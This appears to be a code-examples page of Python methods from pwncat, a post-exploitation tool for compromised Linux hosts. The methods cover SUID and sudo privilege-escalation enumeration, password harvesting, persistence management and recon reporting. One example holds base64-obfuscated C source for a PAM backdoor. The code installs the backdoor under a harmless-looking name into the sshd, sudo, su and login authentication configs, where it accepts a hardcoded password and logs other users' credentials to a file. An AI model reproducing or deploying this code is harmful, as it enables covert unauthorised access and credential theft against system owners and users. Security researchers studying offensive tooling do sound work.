Example #1
0
    def enumerate(self, caps: Capability = Capability.ALL) -> List[Technique]:
        """ Find all techniques known at this time """

        # Update the cache for the current user
        # self.find_suid()

        known_techniques = []
        try:
            for suid in pwncat.victim.enumerate.iter("suid"):

                # Print status message
                util.progress((
                    f"enumerating suid binaries: "
                    f"{Fore.CYAN}{os.path.basename(suid.data.path)}{Fore.RESET}"
                ))

                try:
                    binary = pwncat.victim.gtfo.find_binary(
                        suid.data.path, caps)
                except BinaryNotFound:
                    continue

                for method in binary.iter_methods(suid.data.path, caps,
                                                  Stream.ANY):
                    known_techniques.append(
                        Technique(
                            suid.data.owner.name,
                            self,
                            method,
                            method.cap,
                        ))
        finally:
            util.erase_progress()

        return known_techniques
Example #2
0
    def show_facts(self, typ: str, provider: str, long: bool):
        """ Display known facts matching the criteria """

        data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {}

        if isinstance(typ, list):
            types = typ
        else:
            types = [typ]

        util.progress("enumerating facts")
        for typ in types:
            for fact in pwncat.victim.enumerate.iter(
                    typ,
                    filter=lambda f: provider is None or f.source == provider):
                util.progress(f"enumerating facts: {fact.data}")
                if fact.type not in data:
                    data[fact.type] = {}
                if fact.source not in data[fact.type]:
                    data[fact.type][fact.source] = []
                data[fact.type][fact.source].append(fact)

        util.erase_progress()

        for typ, sources in data.items():
            for source, facts in sources.items():
                print(
                    f"{Style.BRIGHT}{Fore.YELLOW}{typ.upper()}{Fore.RESET} Facts by {Fore.BLUE}{source}{Style.RESET_ALL}"
                )
                for fact in facts:
                    print(f"  {fact.data}")
                    if long and getattr(fact.data, "description",
                                        None) is not None:
                        print(textwrap.indent(fact.data.description, "    "))
Example #3
0
    def run(self, args):

        if args.action == "status":
            ninstalled = 0
            for user, method in pwncat.victim.persist.installed:
                print(f" - {method.format(user)} installed")
                ninstalled += 1
            if not ninstalled:
                util.warn(
                    "no persistence methods observed as "
                    f"{Fore.GREEN}{pwncat.victim.whoami()}{Fore.RED}"
                )
            return
        elif args.action == "list":
            if args.method:
                try:
                    method = next(pwncat.victim.persist.find(args.method))
                    print(f"\033[4m{method.format()}{Style.RESET_ALL}")
                    print(textwrap.indent(textwrap.dedent(method.__doc__), "  "))
                except StopIteration:
                    util.error(f"{args.method}: no such persistence method")
            else:
                for method in pwncat.victim.persist:
                    print(f" - {method.format()}")
            return
        elif args.action == "clean":
            util.progress("cleaning persistence methods: ")
            for user, method in pwncat.victim.persist.installed:
                try:
                    util.progress(
                        f"cleaning persistance methods: {method.format(user)}"
                    )
                    pwncat.victim.persist.remove(method.name, user)
                    util.success(f"removed {method.format(user)}")
                except PersistenceError as exc:
                    util.erase_progress()
                    util.warn(
                        f"{method.format(user)}: removal failed: {exc}\n", overlay=True
                    )
            util.erase_progress()
            return
        elif args.method is None:
            self.parser.error("no method specified")
            return

        # Grab the user we want to install the persistence as
        if args.user:
            user = args.user
        else:
            # Default is to install as current user
            user = pwncat.victim.whoami()

        try:
            if args.action == "install":
                pwncat.victim.persist.install(args.method, user)
            elif args.action == "remove":
                pwncat.victim.persist.remove(args.method, user)
        except PersistenceError as exc:
            util.error(f"{exc}")
Example #4
0
    def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
        """
        Enumerate capabilities for this method.

        :param capability: the requested capabilities
        :return: a list of techniques implemented by this method
        """

        # We only provide shell capability
        if Capability.SHELL not in capability:
            return []

        seen_password = []

        techniques = []
        for fact in pwncat.victim.enumerate.iter(typ="configuration.password"):
            util.progress(f"enumerating password facts: {str(fact.data)}")
            if fact.data.value is None:
                continue

            if fact.data.value in seen_password:
                continue

            if len(fact.data.value) < 6:
                continue

            if len(fact.data.value.split(" ")) > 3:
                continue

            for _, user in pwncat.victim.users.items():
                # This password was already tried for this user and failed
                if user.name in fact.data.invalid:
                    continue
                # We already know the password for this user
                if user.password is not None:
                    continue
                if (
                    user.id == 0 and user.name != pwncat.victim.config["backdoor_user"]
                ) or user.id >= 1000:
                    techniques.append(
                        Technique(user.name, self, fact, Capability.SHELL)
                    )

            seen_password.append(fact.data.value)

        util.erase_progress()

        return techniques
Example #5
0
 def installed_methods(self) -> Iterator[Tuple[str, str, PersistenceMethod]]:
     me = pwncat.victim.current_user
     for method in pwncat.victim.persist:
         if method.system and method.installed():
             yield (method.name, None, method)
         elif not method.system:
             if me.id == 0:
                 for user in pwncat.victim.users:
                     util.progress(f"checking {method.name} for: {user}")
                     if method.installed(user):
                         util.erase_progress()
                         yield (method.name, user, method)
                     util.erase_progress()
             else:
                 if method.installed(me.name):
                     yield (method.name, me.name, method)
Example #6
0
    def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
        """ Find all techniques known at this time """

        rules = []
        for fact in pwncat.victim.enumerate("sudo"):
            util.progress(f"enumerating sudo rules: {fact.data}")

            # Doesn't appear to be a user specification
            if not fact.data.matched:
                continue

            # This specifies a user that is not us
            if (fact.data.user != "ALL"
                    and fact.data.user != pwncat.victim.current_user.name
                    and fact.data.group is None):
                continue

            # Check if we are part of the specified group
            if fact.data.group is not None:
                for group in pwncat.victim.current_user.groups:
                    if fact.data.group == group.name:
                        break
                else:
                    # Non of our secondary groups match, was our primary group specified?
                    if fact.data.group != pwncat.victim.current_user.group.name:
                        continue

            # The rule appears to match, add it to the list
            rules.append(fact.data)

        # We don't need that progress after this is complete
        util.erase_progress()

        techniques = []
        for rule in rules:
            for method in pwncat.victim.gtfo.iter_sudo(rule.command,
                                                       caps=capability):
                user = "******" if rule.runas_user == "ALL" else rule.runas_user
                techniques.append(
                    Technique(user, self, (method, rule), method.cap))

        return techniques
Example #7
0
    def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
        """
        Enumerate capabilities for this method.

        :param capability: the requested capabilities
        :return: a list of techniques implemented by this method
        """

        # We only provide shell capability
        if Capability.SHELL not in capability:
            return []

        techniques = []
        for fact in pwncat.victim.enumerate.iter(typ="system.user.password"):
            util.progress(f"enumerating password facts: {str(fact.data)}")
            techniques.append(
                Technique(fact.data.user.name, self, fact.data,
                          Capability.SHELL))
        util.erase_progress()

        return techniques
Example #8
0
    def load_package(self, path: list):

        util.progress("loading privesc methods")
        for loader, module_name, is_pkg in pkgutil.walk_packages(path):
            method_module = loader.find_module(module_name).load_module(
                module_name)

            if is_pkg:
                continue

            if getattr(method_module, "Method", None) is None:
                # This isn't a privesc method. It shouldn't be in this directory
                continue

            try:
                util.progress(
                    f"loading privesc methods: {method_module.Method.name}")
                method_module.Method.check()
                self.methods.append(method_module.Method())
            except PrivescError:
                pass

        util.erase_progress()
Example #9
0
    def install(self, user: Optional[str] = None):
        """ Install the persistence method """

        if pwncat.victim.current_user.id != 0:
            raise PersistenceError("must be root")

        # Source to our module
        sneaky_source = textwrap.dedent("""
I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fbW9kdWxlcy5oPgojaW5j
bHVkZSA8c2VjdXJpdHkvcGFtX2V4dC5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDxz
eXMvZmlsZS5oPgojaW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPG9wZW5zc2wvc2hhLmg+ClBB
TV9FWFRFUk4gaW50IHBhbV9zbV9hdXRoZW50aWNhdGUocGFtX2hhbmRsZV90ICpoYW5kbGUsIGlu
dCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KQp7CiAgICBpbnQgcGFtX2NvZGU7
CiAgICBjb25zdCBjaGFyICp1c2VybmFtZSA9IE5VTEw7CiAgICBjb25zdCBjaGFyICpwYXNzd29y
ZCA9IE5VTEw7CiAgICBjaGFyIHBhc3N3ZF9saW5lWzEwMjRdOwogICAgaW50IGZvdW5kX3VzZXIg
PSAwOwoJY2hhciBrZXlbMjBdID0ge19fUFdOQ0FUX0hBU0hfX307CglGSUxFKiBmaWxwOwogICAg
cGFtX2NvZGUgPSBwYW1fZ2V0X3VzZXIoaGFuZGxlLCAmdXNlcm5hbWUsICJVc2VybmFtZTogIik7
CiAgICBpZiAocGFtX2NvZGUgIT0gUEFNX1NVQ0NFU1MpIHsKICAgICAgICByZXR1cm4gUEFNX0lH
Tk9SRTsKICAgIH0KICAgIGZpbHAgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpOwogICAgaWYo
IGZpbHAgPT0gTlVMTCApewogICAgICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQogICAgd2hp
bGUoIGZnZXRzKHBhc3N3ZF9saW5lLCAxMDI0LCBmaWxwKSApewogICAgICAgIGNoYXIqIHZhbGlk
X3VzZXIgPSBzdHJ0b2socGFzc3dkX2xpbmUsICI6Iik7CiAgICAgICAgaWYoIHN0cmNtcCh2YWxp
ZF91c2VyLCB1c2VybmFtZSkgPT0gMCApewogICAgICAgICAgICBmb3VuZF91c2VyID0gMTsKICAg
ICAgICAgICAgYnJlYWs7CiAgICAgICAgfSAKICAgIH0KICAgIGZjbG9zZShmaWxwKTsKICAgIGlm
KCBmb3VuZF91c2VyID09IDAgKXsKICAgICAgICByZXR1cm4gUEFNX0lHTk9SRTsKICAgIH0KICAg
IHBhbV9jb2RlID0gcGFtX2dldF9hdXRodG9rKGhhbmRsZSwgUEFNX0FVVEhUT0ssICZwYXNzd29y
ZCwgIlBhc3N3b3JkOiAiKTsKICAgIGlmIChwYW1fY29kZSAhPSBQQU1fU1VDQ0VTUykgewogICAg
ICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQoJaWYoIG1lbWNtcChTSEExKHBhc3N3b3JkLCBz
dHJsZW4ocGFzc3dvcmQpLCBOVUxMKSwga2V5LCAyMCkgIT0gMCApewoJCWZpbHAgPSBmb3Blbigi
X19QV05DQVRfTE9HX18iLCAiYSIpOwoJCWlmKCBmaWxwICE9IE5VTEwgKQoJCXsKCQkJZnByaW50
ZihmaWxwLCAiJXM6JXNcbiIsIHVzZXJuYW1lLCBwYXNzd29yZCk7CgkJCWZjbG9zZShmaWxwKTsK
CQl9CgkJcmV0dXJuIFBBTV9JR05PUkU7Cgl9CiAgICByZXR1cm4gUEFNX1NVQ0NFU1M7Cn0KUEFN
X0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFn
cywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CiAgICAgcmV0dXJuIFBBTV9JR05PUkU7
Cn0KUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQocGFtX2hhbmRsZV90ICpwYW1oLCBpbnQg
ZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVybiBQQU1fSUdO
T1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9vcGVuX3Nlc3Npb24ocGFtX2hhbmRsZV90ICpw
YW1oLCBpbnQgZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVy
biBQQU1fSUdOT1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9jbG9zZV9zZXNzaW9uKHBhbV9o
YW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YpIHsK
ICAgICByZXR1cm4gUEFNX0lHTk9SRTsKfQpQQU1fRVhURVJOIGludCBwYW1fc21fY2hhdXRodG9r
KHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFy
Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
            """).replace("\n", "")
        sneaky_source = base64.b64decode(sneaky_source).decode("utf-8")

        # We use the backdoor password. Build the string of encoded bytes
        # These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...};
        password = hashlib.sha1(
            pwncat.victim.config["backdoor_pass"].encode("utf-8")).digest()
        password = "******".join(hex(c) for c in password)

        # Insert our key
        sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password)

        # Insert the log location for successful passwords
        sneaky_source = sneaky_source.replace("__PWNCAT_LOG__",
                                              "/var/log/firstlog")

        # Write the source
        try:

            util.progress("pam_sneaky: compiling shared library")

            try:
                # Compile our source for the remote host
                lib_path = pwncat.victim.compile(
                    [io.StringIO(sneaky_source)],
                    suffix=".so",
                    cflags=["-shared", "-fPIE"],
                    ldflags=["-lcrypto"],
                )
            except (FileNotFoundError, CompilationError) as exc:
                raise PersistenceError(f"pam: compilation failed: {exc}")

            util.progress("pam_sneaky: locating pam module location")

            # Locate the pam_deny.so to know where to place the new module
            pam_modules = "/usr/lib/security"
            try:
                results = (pwncat.victim.run(
                    "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'").
                           strip().decode("utf-8"))
                if results != "":
                    results = results.split("\n")
                    pam_modules = os.path.dirname(results[0])
            except FileNotFoundError:
                pass

            util.progress(f"pam_sneaky: pam modules located in {pam_modules}")

            # Ensure the directory exists and is writable
            access = pwncat.victim.access(pam_modules)
            if (Access.DIRECTORY | Access.WRITE) in access:
                # Copy the module to a non-suspicious path
                util.progress(
                    f"pam_sneaky: copying shared library to {pam_modules}")
                pwncat.victim.env([
                    "mv", lib_path,
                    os.path.join(pam_modules, "pam_succeed.so")
                ])
                new_line = "auth\tsufficient\tpam_succeed.so\n"

                util.progress(f"pam_sneaky: adding pam auth configuration")

                # Add this auth method to the following pam configurations
                for config in ["sshd", "sudo", "su", "login"]:
                    util.progress(
                        f"pam_sneaky: adding pam auth configuration: {config}")
                    config = os.path.join("/etc/pam.d", config)
                    try:
                        # Read the original content
                        with pwncat.victim.open(config, "r") as filp:
                            content = filp.readlines()
                    except (PermissionError, FileNotFoundError):
                        continue

                    # We need to know if there is a rootok line. If there is,
                    # we should add our line after it to ensure that rootok still
                    # works.
                    contains_rootok = any("pam_rootok" in line
                                          for line in content)

                    # Add this auth statement before the first auth statement
                    for i, line in enumerate(content):
                        # We either insert after the rootok line or before the first
                        # auth line, depending on if rootok is present
                        if contains_rootok and "pam_rootok" in line:
                            content.insert(i + 1, new_line)
                        elif not contains_rootok and line.startswith("auth"):
                            content.insert(i, new_line)
                            break
                    else:
                        content.append(new_line)

                    content = "".join(content)

                    try:
                        with pwncat.victim.open(config,
                                                "w",
                                                length=len(content)) as filp:
                            filp.write(content)
                    except (PermissionError, FileNotFoundError):
                        continue

                pwncat.victim.tamper.created_file("/var/log/firstlog")

                util.erase_progress()

        except FileNotFoundError as exc:
            # A needed binary wasn't found. Clean up whatever we created.
            raise PersistenceError(str(exc))
Example #10
0
    def generate_report(self, report_path: str):
        """ Generate a markdown report of enumeration data for the remote host. This
        report is generated from all facts which pwncat is capable of enumerating.
        It does not need nor honor the type or provider options. """

        # Dictionary mapping type names to facts. Each type name is mapped
        # to a dictionary which maps sources to a list of facts. This makes
        # organizing the output report easier.
        report_data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {}
        system_details = []

        try:
            # Grab hostname
            hostname = pwncat.victim.enumerate.first("system.hostname").data
            system_details.append(["Hostname", hostname])
        except ValueError:
            hostname = "[unknown-hostname]"

        # Not provided by enumerate, but natively known due to our connection
        system_details.append(["Primary Address", pwncat.victim.host.ip])
        system_details.append(["Derived Hash", pwncat.victim.host.hash])

        try:
            # Grab distribution
            distro = pwncat.victim.enumerate.first("system.distro").data
            system_details.append([
                "Distribution",
                f"{distro.name} ({distro.ident}) {distro.version}"
            ])
        except ValueError:
            pass

        try:
            # Grab the architecture
            arch = pwncat.victim.enumerate.first("system.arch").data
            system_details.append(["Architecture", arch.arch])
        except ValueError:
            pass

        try:
            # Grab kernel version
            kernel = pwncat.victim.enumerate.first(
                "system.kernel.version").data
            system_details.append([
                "Kernel",
                f"Linux Kernel {kernel.major}.{kernel.minor}.{kernel.patch}-{kernel.abi}",
            ])
        except ValueError:
            pass

        try:
            # Grab init system
            init = pwncat.victim.enumerate.first("system.init").data
            system_details.append(["Init", init.init])
        except ValueError:
            pass

        # Build the table writer for the main section
        table_writer = MarkdownTableWriter()
        table_writer.headers = ["Property", "Value"]
        table_writer.column_styles = [
            pytablewriter.style.Style(align="right"),
            pytablewriter.style.Style(align="center"),
        ]
        table_writer.value_matrix = system_details
        table_writer.margin = 1

        # Note enumeration data we don't need anymore. These are handled above
        # in the system_details table which is output with the table_writer.
        ignore_types = [
            "system.hostname",
            "system.kernel.version",
            "system.distro",
            "system.init",
            "system.arch",
        ]

        # This is the list of known enumeration types that we want to
        # happen first in this order. Other types will still be output
        # but will be output in an arbitrary order following this list
        ordered_types = [
            # Possible kernel exploits - very important
            "system.kernel.exploit",
            # Enumerated user passwords - very important
            "system.user.password",
            # Enumerated possible user private keys - very important
            "system.user.private_key",
            # Directories in our path that are writable
            "writable_path",
        ]

        # These types are very noisy. They are important for full enumeration,
        # but are better suited for the end of the list. These are output last
        # no matter what in this order.
        noisy_types = [
            # System services. There's normally a lot of these
            "system.service",
            # Installed packages. There's *always* a lot of these
            "system.package",
        ]

        util.progress("enumerating report_data")
        for fact in pwncat.victim.enumerate.iter():
            util.progress(f"enumerating report_data: {fact.data}")
            if fact.type in ignore_types:
                continue
            if fact.type not in report_data:
                report_data[fact.type] = {}
            if fact.source not in report_data[fact.type]:
                report_data[fact.type][fact.source] = []
            report_data[fact.type][fact.source].append(fact)

        util.erase_progress()

        try:
            with open(report_path, "w") as filp:
                filp.write(f"# {hostname} - {pwncat.victim.host.ip}\n\n")

                # Write the system info table
                table_writer.dump(filp, close_after_write=False)
                filp.write("\n")

                # output ordered types first
                for typ in ordered_types:
                    if typ not in report_data:
                        continue
                    self.render_section(filp, typ, report_data[typ])

                # output everything that's not a ordered or noisy type
                for typ, sources in report_data.items():
                    if typ in ordered_types or typ in noisy_types:
                        continue
                    self.render_section(filp, typ, sources)

                # Output the noisy types
                for typ in noisy_types:
                    if typ not in report_data:
                        continue
                    self.render_section(filp, typ, report_data[typ])

            util.success(f"enumeration report written to {report_path}")
        except OSError:
            self.parser.error(f"{report_path}: failed to open output file")